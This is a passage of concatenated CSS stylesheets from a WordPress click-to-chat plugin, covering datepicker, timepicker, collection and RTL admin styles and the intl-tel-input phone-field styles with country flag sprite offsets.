cubic-bezier(0.42,0,0.58,1)}.tap-target-content{position:relative;display:table-cell}.tap-target-wave{position:absolute;border-radius:50%;z-index:10001}.tap-target-wave::before,.tap-target-wave::after{content:'';display:block;position:absolute;width:100%;height:100%;border-radius:50%;background-color:#fff}.tap-target-wave::before{-webkit-transform:scale(0);transform:scale(0);transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s}.tap-target-wave::after{visibility:hidden;transition:opacity .3s,visibility 0s,-webkit-transform .3s;transition:opacity .3s,transform .3s,visibility 0;transition:opacity .3s,transform .3s,visibility 0s,-webkit-transform .3s;z-index:-1}.tap-target-origin{top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);z-index:10002;position:absolute!important}.tap-target-origin:not(.btn):not(.btn-large):not(.btn-small),.tap-target-origin:not(.btn):not(.btn-large):not(.btn-small):hover{background:none}@media only screen and (max-width: 600px){.tap-target,.tap-target-wrapper{width:600px;height:600px}}.pulse{overflow:visible;position:relative}.pulse::before{content:'';display:block;position:absolute;width:100%;height:100%;top:0;left:0;background-color:inherit;border-radius:inherit;transition:opacity .3s,-webkit-transform .3s;transition:opacity .3s,transform .3s;transition:opacity .3s,transform .3s,-webkit-transform .3s;animation:pulse-animation 1s cubic-bezier(0.24,0,0.38,1) infinite;z-index:-1}@keyframes pulse-animation{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}50%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}100%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}}.datepicker-modal{max-width:325px;min-width:300px;max-height:none}.datepicker-container.modal-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;padding:0}.datepicker-controls{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;width:280px;margin:0 auto}.datepicker-controls .selects-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.datepicker-controls .select-wrapper input{border-bottom:none;text-align:center;margin:0}.datepicker-controls .select-wrapper input:focus{border-bottom:none}.datepicker-controls .select-wrapper .caret{display:none}.datepicker-controls .select-year input{width:50px}.datepicker-controls .select-month input{width:70px}.month-prev,.month-next{margin-top:4px;cursor:pointer;background-color:transparent;border:none}.datepicker-date-display{-webkit-box-flex:1;-webkit-flex:1 auto;-ms-flex:1 auto;flex:1 auto;background-color:#26a69a;color:#fff;padding:20px 22px;font-weight:500}.datepicker-date-display .year-text{display:block;font-size:1.5rem;line-height:25px;color:rgba(255,255,255,0.7)}.datepicker-date-display .date-text{display:block;font-size:2.8rem;line-height:47px;font-weight:500}.datepicker-calendar-container{-webkit-box-flex:2.5;-webkit-flex:2.5 auto;-ms-flex:2.5 auto;flex:2.5 auto}.datepicker-table{width:280px;font-size:1rem;margin:0 auto}.datepicker-table thead{border-bottom:none}.datepicker-table th{padding:10px 5px;text-align:center}.datepicker-table tr{border:none}.datepicker-table abbr{text-decoration:none;color:#999}.datepicker-table td{border-radius:50%;padding:0}.datepicker-table td.is-today{color:#26a69a}.datepicker-table td.is-selected{background-color:#26a69a;color:#fff}.datepicker-table td.is-outside-current-month,.datepicker-table td.is-disabled{color:rgba(0,0,0,0.3);pointer-events:none}.datepicker-day-button{background-color:transparent;border:none;line-height:38px;display:block;width:100%;border-radius:50%;padding:0 5px;cursor:pointer;color:inherit}.datepicker-day-button:focus{background-color:rgba(43,161,150,0.25)}.datepicker-footer{width:280px;margin:0 auto;padding-bottom:5px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.datepicker-cancel,.datepicker-clear,.datepicker-today,.datepicker-done{color:#26a69a;padding:0 1rem}.datepicker-clear{color:#F44336}@media only screen and (min-width: 601px){.datepicker-modal{max-width:625px}.datepicker-container.modal-content{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.datepicker-date-display{-webkit-box-flex:0;-webkit-flex:0 1 270px;-ms-flex:0 1 270px;flex:0 1 270px}.datepicker-controls,.datepicker-table,.datepicker-footer{width:320px}.datepicker-day-button{line-height:44px}}.timepicker-modal{max-width:325px;max-height:none}.timepicker-container.modal-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;padding:0}.text-primary{color:#fff}.timepicker-digital-display{-webkit-box-flex:1;-webkit-flex:1 auto;-ms-flex:1 auto;flex:1 auto;background-color:#26a69a;padding:10px;font-weight:300}.timepicker-text-container{font-size:4rem;font-weight:700;text-align:center;color:rgba(255,255,255,0.6);font-weight:400;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.timepicker-span-hours,.timepicker-span-minutes,.timepicker-span-am-pm div{cursor:pointer}.timepicker-span-hours{margin-right:3px}.timepicker-span-minutes{margin-left:3px}.timepicker-display-am-pm{font-size:1.3rem;position:absolute;right:1rem;bottom:1rem;font-weight:400}.timepicker-analog-display{-webkit-box-flex:2.5;-webkit-flex:2.5 auto;-ms-flex:2.5 auto;flex:2.5 auto}.timepicker-plate{background-color:#eee;border-radius:50%;width:270px;height:270px;overflow:visible;position:relative;margin:auto;margin-top:25px;margin-bottom:5px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.timepicker-canvas,.timepicker-dial{position:absolute;left:0;right:0;top:0;bottom:0}.timepicker-minutes{visibility:hidden}.timepicker-tick{border-radius:50%;color:rgba(0,0,0,0.87);line-height:40px;text-align:center;width:40px;height:40px;position:absolute;cursor:pointer;font-size:15px}.timepicker-tick.active,.timepicker-tick:hover{background-color:rgba(38,166,154,0.25)}.timepicker-dial{transition:opacity 350ms,-webkit-transform 350ms;transition:transform 350ms,opacity 350ms;transition:transform 350ms,opacity 350ms,-webkit-transform 350ms}.timepicker-dial-out{opacity:0}.timepicker-dial-out.timepicker-hours{-webkit-transform:scale(1.1,1.1);transform:scale(1.1,1.1)}.timepicker-dial-out.timepicker-minutes{-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8)}.timepicker-canvas{transition:opacity 175ms}.timepicker-canvas line{stroke:#26a69a;stroke-width:4;stroke-linecap:round}.timepicker-canvas-out{opacity:.25}.timepicker-canvas-bearing{stroke:none;fill:#26a69a}.timepicker-canvas-bg{stroke:none;fill:#26a69a}.timepicker-footer{margin:0 auto;padding:5px 1rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.timepicker-clear{color:#F44336}.timepicker-close{color:#26a69a}.timepicker-clear,.timepicker-close{padding:0 20px}@media only screen and (min-width: 601px){.timepicker-modal{max-width:600px}.timepicker-container.modal-content{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.timepicker-text-container{top:32%}.timepicker-display-am-pm{position:relative;right:auto;bottom:auto;text-align:center;margin-top:1.2rem}}.collection{margin:.5rem 0 1rem;border:1px solid #e0e0e0;border-radius:2px;overflow:hidden;position:relative}.collection .collection-item{background-color:#fff;line-height:1.5rem;padding:10px 20px;margin:0;border-bottom:1px solid #e0e0e0}.collection .collection-item.avatar{min-height:84px;padding-left:72px;position:relative}.collection .collection-item.avatar:not(.circle-clipper)>.circle,.collection .collection-item.avatar :not(.circle-clipper)>.circle{position:absolute;width:42px;height:42px;overflow:hidden;left:15px;display:inline-block;vertical-align:middle}.collection .collection-item.avatar i.circle{font-size:18px;line-height:42px;color:#fff;background-color:#999;text-align:center}.collection .collection-item.avatar .title{font-size:16px}.collection .collection-item.avatar p{margin:0}.collection .collection-item.avatar .secondary-content{position:absolute;top:16px;right:16px}.collection .collection-item:last-child{border-bottom:none}.collection .collection-item.active{background-color:#26a69a;color:#eafaf9}.collection .collection-item.active .secondary-content{color:#fff}.collection span.collection-item{display:block;transition:.25s;color:#26a69a}.collection span.collection-item:not(.active):hover{background-color:#ddd}.collection.with-header .collection-header{background-color:#fff;border-bottom:1px solid #e0e0e0;padding:10px 20px}.collection.with-header .collection-item{padding-left:30px}.collection.with-header .collection-item.avatar{padding-left:72px}.secondary-content{float:right;color:#26a69a}.collection-item span.badge{margin-top:calc(.75rem - 11px)}.collection span.badge{min-width:3rem;padding:0 6px;margin-left:14px;text-align:center;font-size:1rem;line-height:22px;height:22px;color:#757575;float:right;box-sizing:border-box}span.badge.new{font-weight:300;font-size:.8rem;color:#fff;background-color:#26a69a;border-radius:2px}span.badge.new:after{content:" new"}span.badge[data-badge-caption]::after{content:" " attr(data-badge-caption)}.collection-item span.badge{margin-top:calc(.75rem - 11px)}click-to-chat-for-whatsapp/new/admin/admin_assets/css/admin-rtl.css000064400000003713147510273110021330 0ustar00[dir="rtl"] .row_number,
[dir="rtl"] .description {
    text-align: right;
}

[dir="rtl"] .iti__dropdown-content {
    left: 0;
    /* right: auto !important; */
}

[dir="rtl"] .show_hide_types,
[dir="rtl"] .show_hide_device,
[dir="rtl"] .show_hide_global {
    display: flex;
    text-align: right;
}

[dir="rtl"] .description.ht_ctc_subtitle {
    border-right: 5px solid lightseagreen;
    padding-right: 0.9rem;
    padding-left: 0;
    border-left: unset;
}

[dir="rtl"] .description.ht_ctc_pro_subtitle {
    border-right: 5px solid #8fbc8f;
    padding-right: 0.9rem;
    padding-left: 0;
    border-left: unset;
}

[dir="rtl"] blockquote.not_samesettings {
    display: flex;
    border-right: 5px solid red;
    padding: 0 0.9rem 0 0;
    border-left: unset;
}

[dir="rtl"] .hide_settings .input-field,
[dir="rtl"] .show_settings .input-field {
    float: none;
}

[dir="rtl"] .ctc_side_by_side {
    display: flex;
    text-align: right;
}

@media (min-width: 768px) {
    [dir="rtl"] .sticky-sidebar .sidebar-content {
        margin-right: 80px;
        margin-left: unset;
    }
}

[dir="rtl"] .ctc_select_style .collection-item {
    display: flex;
    flex-direction: row-reverse;
    justify-content: space-between;
}

[dir="rtl"] .ctc_select_style .badge {
    margin-left: 0px;
}

[dir="rtl"] .ht_ctc_customize_style .row {
    display: flex;
    text-align: right;
}

[dir="rtl"] .ht_ctc_customize_style h5 {
    display: flex;
}

[dir="rtl"] .description {
    display: flex;
    text-align: right;
    flex-wrap: wrap;
}

[dir="rtl"] .ctc_checkbox_label {
    display: flex;
}

[dir="rtl"] .ctc_component_color {
    display: flex;
    text-align: right;
}

[dir="rtl"] .ctc_details {
    text-align: right;
}

[dir="rtl"] .ht_ctc_animations .row {
    display: flex;
    text-align: right;
}

[dir="rtl"] .ctc_debug_list_item {
    direction: rtl;
    text-align: right;
}click-to-chat-for-whatsapp/new/admin/admin_assets/intl/css/intlTelInput.min.css000064400000032244147510273110023625 0ustar00:root{--iti-hover-color:rgba(0, 0, 0, 0.05);--iti-border-color:#ccc;--iti-dialcode-color:#999;--iti-dropdown-bg:white;--iti-spacer-horizontal:8px;--iti-flag-height:12px;--iti-flag-width:16px;--iti-border-width:1px;--iti-arrow-height:4px;--iti-arrow-width:6px;--iti-triangle-border:calc(var(--iti-arrow-width) / 2);--iti-arrow-padding:6px;--iti-arrow-color:#555;--iti-path-flags-1x:url("../img/flags.webp");--iti-path-flags-2x:url("../img/flags@2x.webp");--iti-path-globe-1x:url("../img/globe.webp");--iti-path-globe-2x:url("../img/globe@2x.webp");--iti-flag-sprite-width:3904px;--iti-flag-sprite-height:12px;--iti-mobile-popup-margin:30px}.iti{position:relative;display:inline-block}.iti *{box-sizing:border-box}.iti__hide{display:none}.iti__v-hide{visibility:hidden}.iti__a11y-text{width:1px;height:1px;clip:rect(1px,1px,1px,1px);overflow:hidden;position:absolute}.iti input.iti__tel-input,.iti input.iti__tel-input[type=tel],.iti input.iti__tel-input[type=text]{position:relative;z-index:0;margin:0!important}.iti__country-container{position:absolute;top:0;bottom:0;padding:var(--iti-border-width)}.iti__selected-country{z-index:1;position:relative;display:flex;align-items:center;height:100%;background:0 0;border:0;margin:0;padding:0;font-family:inherit;font-size:inherit;color:inherit;border-radius:0;font-weight:inherit;line-height:inherit;text-decoration:none}.iti__selected-country-primary{display:flex;align-items:center;height:100%;padding:0 var(--iti-arrow-padding) 0 var(--iti-spacer-horizontal)}.iti__arrow{margin-left:var(--iti-arrow-padding);width:0;height:0;border-left:var(--iti-triangle-border) solid transparent;border-right:var(--iti-triangle-border) solid transparent;border-top:var(--iti-arrow-height) solid var(--iti-arrow-color)}[dir=rtl] .iti__arrow{margin-right:var(--iti-arrow-padding);margin-left:0}.iti__arrow--up{border-top:none;border-bottom:var(--iti-arrow-height) solid var(--iti-arrow-color)}.iti__dropdown-content{border-radius:3px;background-color:var(--iti-dropdown-bg)}.iti--inline-dropdown .iti__dropdown-content{position:absolute;z-index:2;margin-top:3px;margin-left:calc(var(--iti-border-width) * -1);border:var(--iti-border-width) solid var(--iti-border-color);box-shadow:1px 1px 4px rgba(0,0,0,.2)}.iti__search-input{width:100%;border-width:0;border-radius:3px}.iti__search-input+.iti__country-list{border-top:1px solid var(--iti-border-color)}.iti__country-list{list-style:none;padding:0;margin:0;overflow-y:scroll;-webkit-overflow-scrolling:touch}.iti--inline-dropdown .iti__country-list{max-height:185px}.iti--flexible-dropdown-width .iti__country-list{white-space:nowrap}@media (max-width:500px){.iti--flexible-dropdown-width .iti__country-list{white-space:normal}}.iti__country{display:flex;align-items:center;padding:8px var(--iti-spacer-horizontal);outline:0}.iti__dial-code{color:var(--iti-dialcode-color)}.iti__country.iti__highlight{background-color:var(--iti-hover-color)}.iti__country-list .iti__flag,.iti__country-name{margin-right:var(--iti-spacer-horizontal)}[dir=rtl] .iti__country-list .iti__flag,[dir=rtl] .iti__country-name{margin-right:0;margin-left:var(--iti-spacer-horizontal)}.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])):hover,.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])):hover button{cursor:pointer}.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])) .iti__selected-country-primary:hover,.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])) .iti__selected-country:has(+ .iti__dropdown-content:hover) .iti__selected-country-primary{background-color:var(--iti-hover-color)}.iti .iti__selected-dial-code{margin-left:4px}[dir=rtl] .iti .iti__selected-dial-code{margin-left:0;margin-right:4px}.iti--container{position:fixed;top:-1000px;left:-1000px;z-index:1060;padding:var(--iti-border-width)}.iti--container:hover{cursor:pointer}.iti--fullscreen-popup.iti--container{background-color:rgba(0,0,0,.5);top:0;bottom:0;left:0;right:0;position:fixed;padding:var(--iti-mobile-popup-margin);display:flex;flex-direction:column;justify-content:flex-start}.iti--fullscreen-popup .iti__dropdown-content{display:flex;flex-direction:column;max-height:100%;position:relative}.iti--fullscreen-popup .iti__country{padding:10px 10px;line-height:1.5em}.iti__flag{--iti-flag-offset:100px;height:var(--iti-flag-height);width:var(--iti-flag-width);border-radius:1px;box-shadow:0 0 1px 0 #888;background-image:var(--iti-path-flags-1x);background-repeat:no-repeat;background-position:var(--iti-flag-offset) 0;background-size:var(--iti-flag-sprite-width) var(--iti-flag-sprite-height)}.iti__ac{--iti-flag-offset:0px}.iti__ad{--iti-flag-offset:-16px}.iti__ae{--iti-flag-offset:-32px}.iti__af{--iti-flag-offset:-48px}.iti__ag{--iti-flag-offset:-64px}.iti__ai{--iti-flag-offset:-80px}.iti__al{--iti-flag-offset:-96px}.iti__am{--iti-flag-offset:-112px}.iti__ao{--iti-flag-offset:-128px}.iti__ar{--iti-flag-offset:-144px}.iti__as{--iti-flag-offset:-160px}.iti__at{--iti-flag-offset:-176px}.iti__au{--iti-flag-offset:-192px}.iti__aw{--iti-flag-offset:-208px}.iti__ax{--iti-flag-offset:-224px}.iti__az{--iti-flag-offset:-240px}.iti__ba{--iti-flag-offset:-256px}.iti__bb{--iti-flag-offset:-272px}.iti__bd{--iti-flag-offset:-288px}.iti__be{--iti-flag-offset:-304px}.iti__bf{--iti-flag-offset:-320px}.iti__bg{--iti-flag-offset:-336px}.iti__bh{--iti-flag-offset:-352px}.iti__bi{--iti-flag-offset:-368px}.iti__bj{--iti-flag-offset:-384px}.iti__bl{--iti-flag-offset:-400px}.iti__bm{--iti-flag-offset:-416px}.iti__bn{--iti-flag-offset:-432px}.iti__bo{--iti-flag-offset:-448px}.iti__bq{--iti-flag-offset:-464px}.iti__br{--iti-flag-offset:-480px}.iti__bs{--iti-flag-offset:-496px}.iti__bt{--iti-flag-offset:-512px}.iti__bw{--iti-flag-offset:-528px}.iti__by{--iti-flag-offset:-544px}.iti__bz{--iti-flag-offset:-560px}.iti__ca{--iti-flag-offset:-576px}.iti__cc{--iti-flag-offset:-592px}.iti__cd{--iti-flag-offset:-608px}.iti__cf{--iti-flag-offset:-624px}.iti__cg{--iti-flag-offset:-640px}.iti__ch{--iti-flag-offset:-656px}.iti__ci{--iti-flag-offset:-672px}.iti__ck{--iti-flag-offset:-688px}.iti__cl{--iti-flag-offset:-704px}.iti__cm{--iti-flag-offset:-720px}.iti__cn{--iti-flag-offset:-736px}.iti__co{--iti-flag-offset:-752px}.iti__cr{--iti-flag-offset:-768px}.iti__cu{--iti-flag-offset:-784px}.iti__cv{--iti-flag-offset:-800px}.iti__cw{--iti-flag-offset:-816px}.iti__cx{--iti-flag-offset:-832px}.iti__cy{--iti-flag-offset:-848px}.iti__cz{--iti-flag-offset:-864px}.iti__de{--iti-flag-offset:-880px}.iti__dj{--iti-flag-offset:-896px}.iti__dk{--iti-flag-offset:-912px}.iti__dm{--iti-flag-offset:-928px}.iti__do{--iti-flag-offset:-944px}.iti__dz{--iti-flag-offset:-960px}.iti__ec{--iti-flag-offset:-976px}.iti__ee{--iti-flag-offset:-992px}.iti__eg{--iti-flag-offset:-1008px}.iti__eh{--iti-flag-offset:-1024px}.iti__er{--iti-flag-offset:-1040px}.iti__es{--iti-flag-offset:-1056px}.iti__et{--iti-flag-offset:-1072px}.iti__fi{--iti-flag-offset:-1088px}.iti__fj{--iti-flag-offset:-1104px}.iti__fk{--iti-flag-offset:-1120px}.iti__fm{--iti-flag-offset:-1136px}.iti__fo{--iti-flag-offset:-1152px}.iti__fr{--iti-flag-offset:-1168px}.iti__ga{--iti-flag-offset:-1184px}.iti__gb{--iti-flag-offset:-1200px}.iti__gd{--iti-flag-offset:-1216px}.iti__ge{--iti-flag-offset:-1232px}.iti__gf{--iti-flag-offset:-1248px}.iti__gg{--iti-flag-offset:-1264px}.iti__gh{--iti-flag-offset:-1280px}.iti__gi{--iti-flag-offset:-1296px}.iti__gl{--iti-flag-offset:-1312px}.iti__gm{--iti-flag-offset:-1328px}.iti__gn{--iti-flag-offset:-1344px}.iti__gp{--iti-flag-offset:-1360px}.iti__gq{--iti-flag-offset:-1376px}.iti__gr{--iti-flag-offset:-1392px}.iti__gt{--iti-flag-offset:-1408px}.iti__gu{--iti-flag-offset:-1424px}.iti__gw{--iti-flag-offset:-1440px}.iti__gy{--iti-flag-offset:-1456px}.iti__hk{--iti-flag-offset:-1472px}.iti__hn{--iti-flag-offset:-1488px}.iti__hr{--iti-flag-offset:-1504px}.iti__ht{--iti-flag-offset:-1520px}.iti__hu{--iti-flag-offset:-1536px}.iti__id{--iti-flag-offset:-1552px}.iti__ie{--iti-flag-offset:-1568px}.iti__il{--iti-flag-offset:-1584px}.iti__im{--iti-flag-offset:-1600px}.iti__in{--iti-flag-offset:-1616px}.iti__io{--iti-flag-offset:-1632px}.iti__iq{--iti-flag-offset:-1648px}.iti__ir{--iti-flag-offset:-1664px}.iti__is{--iti-flag-offset:-1680px}.iti__it{--iti-flag-offset:-1696px}.iti__je{--iti-flag-offset:-1712px}.iti__jm{--iti-flag-offset:-1728px}.iti__jo{--iti-flag-offset:-1744px}.iti__jp{--iti-flag-offset:-1760px}.iti__ke{--iti-flag-offset:-1776px}.iti__kg{--iti-flag-offset:-1792px}.iti__kh{--iti-flag-offset:-1808px}.iti__ki{--iti-flag-offset:-1824px}.iti__km{--iti-flag-offset:-1840px}.iti__kn{--iti-flag-offset:-1856px}.iti__kp{--iti-flag-offset:-1872px}.iti__kr{--iti-flag-offset:-1888px}.iti__kw{--iti-flag-offset:-1904px}.iti__ky{--iti-flag-offset:-1920px}.iti__kz{--iti-flag-offset:-1936px}.iti__la{--iti-flag-offset:-1952px}.iti__lb{--iti-flag-offset:-1968px}.iti__lc{--iti-flag-offset:-1984px}.iti__li{--iti-flag-offset:-2000px}.iti__lk{--iti-flag-offset:-2016px}.iti__lr{--iti-flag-offset:-2032px}.iti__ls{--iti-flag-offset:-2048px}.iti__lt{--iti-flag-offset:-2064px}.iti__lu{--iti-flag-offset:-2080px}.iti__lv{--iti-flag-offset:-2096px}.iti__ly{--iti-flag-offset:-2112px}.iti__ma{--iti-flag-offset:-2128px}.iti__mc{--iti-flag-offset:-2144px}.iti__md{--iti-flag-offset:-2160px}.iti__me{--iti-flag-offset:-2176px}.iti__mf{--iti-flag-offset:-2192px}.iti__mg{--iti-flag-offset:-2208px}.iti__mh{--iti-flag-offset:-2224px}.iti__mk{--iti-flag-offset:-2240px}.iti__ml{--iti-flag-offset:-2256px}.iti__mm{--iti-flag-offset:-2272px}.iti__mn{--iti-flag-offset:-2288px}.iti__mo{--iti-flag-offset:-2304px}.iti__mp{--iti-flag-offset:-2320px}.iti__mq{--iti-flag-offset:-2336px}.iti__mr{--iti-flag-offset:-2352px}.iti__ms{--iti-flag-offset:-2368px}.iti__mt{--iti-flag-offset:-2384px}.iti__mu{--iti-flag-offset:-2400px}.iti__mv{--iti-flag-offset:-2416px}.iti__mw{--iti-flag-offset:-2432px}.iti__mx{--iti-flag-offset:-2448px}.iti__my{--iti-flag-offset:-2464px}.iti__mz{--iti-flag-offset:-2480px}.iti__na{--iti-flag-offset:-2496px}.iti__nc{--iti-flag-offset:-2512px}.iti__ne{--iti-flag-offset:-2528px}.iti__nf{--iti-flag-offset:-2544px}.iti__ng{--iti-flag-offset:-2560px}.iti__ni{--iti-flag-offset:-2576px}.iti__nl{--iti-flag-offset:-2592px}.iti__no{--iti-flag-offset:-2608px}.iti__np{--iti-flag-offset:-2624px}.iti__nr{--iti-flag-offset:-2640px}.iti__nu{--iti-flag-offset:-2656px}.iti__nz{--iti-flag-offset:-2672px}.iti__om{--iti-flag-offset:-2688px}.iti__pa{--iti-flag-offset:-2704px}.iti__pe{--iti-flag-offset:-2720px}.iti__pf{--iti-flag-offset:-2736px}.iti__pg{--iti-flag-offset:-2752px}.iti__ph{--iti-flag-offset:-2768px}.iti__pk{--iti-flag-offset:-2784px}.iti__pl{--iti-flag-offset:-2800px}.iti__pm{--iti-flag-offset:-2816px}.iti__pr{--iti-flag-offset:-2832px}.iti__ps{--iti-flag-offset:-2848px}.iti__pt{--iti-flag-offset:-2864px}.iti__pw{--iti-flag-offset:-2880px}.iti__py{--iti-flag-offset:-2896px}.iti__qa{--iti-flag-offset:-2912px}.iti__re{--iti-flag-offset:-2928px}.iti__ro{--iti-flag-offset:-2944px}.iti__rs{--iti-flag-offset:-2960px}.iti__ru{--iti-flag-offset:-2976px}.iti__rw{--iti-flag-offset:-2992px}.iti__sa{--iti-flag-offset:-3008px}.iti__sb{--iti-flag-offset:-3024px}.iti__sc{--iti-flag-offset:-3040px}.iti__sd{--iti-flag-offset:-3056px}.iti__se{--iti-flag-offset:-3072px}.iti__sg{--iti-flag-offset:-3088px}.iti__sh{--iti-flag-offset:-3104px}.iti__si{--iti-flag-offset:-3120px}.iti__sj{--iti-flag-offset:-3136px}.iti__sk{--iti-flag-offset:-3152px}.iti__sl{--iti-flag-offset:-3168px}.iti__sm{--iti-flag-offset:-3184px}.iti__sn{--iti-flag-offset:-3200px}.iti__so{--iti-flag-offset:-3216px}.iti__sr{--iti-flag-offset:-3232px}.iti__ss{--iti-flag-offset:-3248px}.iti__st{--iti-flag-offset:-3264px}.iti__sv{--iti-flag-offset:-3280px}.iti__sx{--iti-flag-offset:-3296px}.iti__sy{--iti-flag-offset:-3312px}.iti__sz{--iti-flag-offset:-3328px}.iti__tc{--iti-flag-offset:-3344px}.iti__td{--iti-flag-offset:-3360px}.iti__tg{--iti-flag-offset:-3376px}.iti__th{--iti-flag-offset:-3392px}.iti__tj{--iti-flag-offset:-3408px}.iti__tk{--iti-flag-offset:-3424px}.iti__tl{--iti-flag-offset:-3440px}.iti__tm{--iti-flag-offset:-3456px}.iti__tn{--iti-flag-offset:-3472px}.iti__to{--iti-flag-offset:-3488px}.iti__tr{--iti-flag-offset:-3504px}.iti__tt{--iti-flag-offset:-3520px}.iti__tv{--iti-flag-offset:-3536px}.iti__tw{--iti-flag-offset:-3552px}.iti__tz{--iti-flag-offset:-3568px}.iti__ua{--iti-flag-offset:-3584px}.iti__ug{--iti-flag-offset:-3600px}.iti__us{--iti-flag-offset:-3616px}.iti__uy{--iti-flag-offset:-3632px}.iti__uz{--iti-flag-offset:-3648px}.iti__va{--iti-flag-offset:-3664px}.iti__vc{--iti-flag-offset:-3680px}.iti__ve{--iti-flag-offset:-3696px}.iti__vg{--iti-flag-offset:-3712px}.iti__vi{--iti-flag-offset:-3728px}.iti__vn{--iti-flag-offset:-3744px}.iti__vu{--iti-flag-offset:-3760px}.iti__wf{--iti-flag-offset:-3776px}.iti__ws{--iti-flag-offset:-3792px}.iti__xk{--iti-flag-offset:-3808px}.iti__ye{--iti-flag-offset:-3824px}.iti__yt{--iti-flag-offset:-3840px}.iti__za{--iti-flag-offset:-3856px}.iti__zm{--iti-flag-offset:-3872px}.iti__zw{--iti-flag-offset:-3888px}.iti__globe{background-image:var(--iti-path-globe-1x);background-size:contain;background-position:right;box-shadow:none;height:19px}@media (min-resolution:2x){.iti__flag{background-image:var(--iti-path-flags-2x)}.iti__globe{background-image:var(--iti-path-globe-2x)}}click-to-chat-for-whatsapp/new/admin/admin_assets/intl/css/intlTelInput.css000064400000042360147510273110023043 0ustar00:root {
  --iti-hover-color: rgba(0, 0, 0, 0.05);
  --iti-border-color: #ccc;
  --iti-dialcode-color: #999;
  --iti-dropdown-bg: white;
  --iti-spacer-horizontal: 8px;
  --iti-flag-height: 12px;
  --iti-flag-width: 16px;
  --iti-border-width: 1px;
  --iti-arrow-height: 4px;
  --iti-arrow-width: 6px;
  --iti-triangle-border: calc(var(--iti-arrow-width) / 2);
  --iti-arrow-padding: 6px;
  --iti-arrow-color: #555;
  --iti-path-flags-1x: url("../img/flags.webp");
  --iti-path-flags-2x: url("../img/flags@2x.webp");
  --iti-path-globe-1x: url("../img/globe.webp");
  --iti-path-globe-2x: url("../img/globe@2x.webp");
  --iti-flag-sprite-width: 3904px;
  --iti-flag-sprite-height: 12px;
  --iti-mobile-popup-margin: 30px;
}

.iti {
  position: relative;
  display: inline-block;
}
.iti * {
  box-sizing: border-box;
}
.iti__hide {
  display: none;
}
.iti__v-hide {
  visibility: hidden;
}
.iti__a11y-text {
  width: 1px;
  height: 1px;
  clip: rect(1px, 1px, 1px, 1px);
  overflow: hidden;
  position: absolute;
}
.iti input.iti__tel-input,
.iti input.iti__tel-input[type=text],
.iti input.iti__tel-input[type=tel] {
  position: relative;
  z-index: 0;
  margin: 0 !important;
}
.iti__country-container {
  position: absolute;
  top: 0;
  bottom: 0;
  padding: var(--iti-border-width);
}
.iti__selected-country {
  z-index: 1;
  position: relative;
  display: flex;
  align-items: center;
  height: 100%;
  background: none;
  border: 0;
  margin: 0;
  padding: 0;
  font-family: inherit;
  font-size: inherit;
  color: inherit;
  border-radius: 0;
  font-weight: inherit;
  line-height: inherit;
  text-decoration: none;
}
.iti__selected-country-primary {
  display: flex;
  align-items: center;
  height: 100%;
  padding: 0 var(--iti-arrow-padding) 0 var(--iti-spacer-horizontal);
}
.iti__arrow {
  margin-left: var(--iti-arrow-padding);
  width: 0;
  height: 0;
  border-left: var(--iti-triangle-border) solid transparent;
  border-right: var(--iti-triangle-border) solid transparent;
  border-top: var(--iti-arrow-height) solid var(--iti-arrow-color);
}
[dir=rtl] .iti__arrow {
  margin-right: var(--iti-arrow-padding);
  margin-left: 0;
}
.iti__arrow--up {
  border-top: none;
  border-bottom: var(--iti-arrow-height) solid var(--iti-arrow-color);
}
.iti__dropdown-content {
  border-radius: 3px;
  background-color: var(--iti-dropdown-bg);
}
.iti--inline-dropdown .iti__dropdown-content {
  position: absolute;
  z-index: 2;
  margin-top: 3px;
  margin-left: calc(var(--iti-border-width) * -1);
  border: var(--iti-border-width) solid var(--iti-border-color);
  box-shadow: 1px 1px 4px rgba(0, 0, 0, 0.2);
}
.iti__search-input {
  width: 100%;
  border-width: 0;
  border-radius: 3px;
}
.iti__search-input + .iti__country-list {
  border-top: 1px solid var(--iti-border-color);
}
.iti__country-list {
  list-style: none;
  padding: 0;
  margin: 0;
  overflow-y: scroll;
  -webkit-overflow-scrolling: touch;
}
.iti--inline-dropdown .iti__country-list {
  max-height: 185px;
}
.iti--flexible-dropdown-width .iti__country-list {
  white-space: nowrap;
}
@media (max-width: 500px) {
  .iti--flexible-dropdown-width .iti__country-list {
    white-space: normal;
  }
}
.iti__country {
  display: flex;
  align-items: center;
  padding: 8px var(--iti-spacer-horizontal);
  outline: none;
}
.iti__dial-code {
  color: var(--iti-dialcode-color);
}
.iti__country.iti__highlight {
  background-color: var(--iti-hover-color);
}
